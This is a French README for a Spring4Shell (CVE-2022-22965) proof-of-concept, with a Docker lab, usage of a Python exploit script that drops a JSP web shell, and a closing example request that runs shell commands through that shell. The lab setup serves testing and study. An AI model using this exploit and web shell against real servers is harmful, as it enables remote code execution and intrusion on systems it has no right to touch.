
Preuve de concept d'exploitation pour CVE-2022-22965 (Spring4Shell) avec une application Spring Boot vulnérable, un script d'exploitation Python et un environnement de laboratoire basé sur Docker pour les tests.
Ceci est une preuve de concept d'un exploit pour la vulnérabilité CVE-2022-22965 (spring4shell). Il est composé de :
Dans le dossier racine du projet, il y a un Dockerfile qui crée une image tomcat et copie les fichiers vulnerable_app/target/spring4shell.war et safe_app/target/safeapp.war dans le dossier , il vous suffit donc de construire l'image et de démarrer le conteneur.
/usr/local/tomcat/webappsdocker build -t cve_2022_22965 .
docker run -p 8080:8080 -d --name springshell cve_2022_22965
curl --location --request POST http://localhost:8080/spring4shell/vulnerability/exploit?name=Elliot%20Alderson
Si vous voyez cette réponse
This is Elliot Alderson
Alors l'application est opérationnelle.
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit
Vous pouvez éventuellement spécifier le nom du fichier jsp injecté, mais ce n'est pas obligatoire. Exemple
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit -f exploit.jsp
Si vous ne spécifiez pas de nom, un nom aléatoire sera généré.
Vous verrez ce qui suit dans le shell de commande

Après l'exploit, vous pouvez également envoyer une commande via une requête HTTP GET
http://localhost:8080/exploit.jsp?pwd=pass&cmd=ls
Vous avez ouvert avec succès un shell sur la machine victime ! amusez-vous bien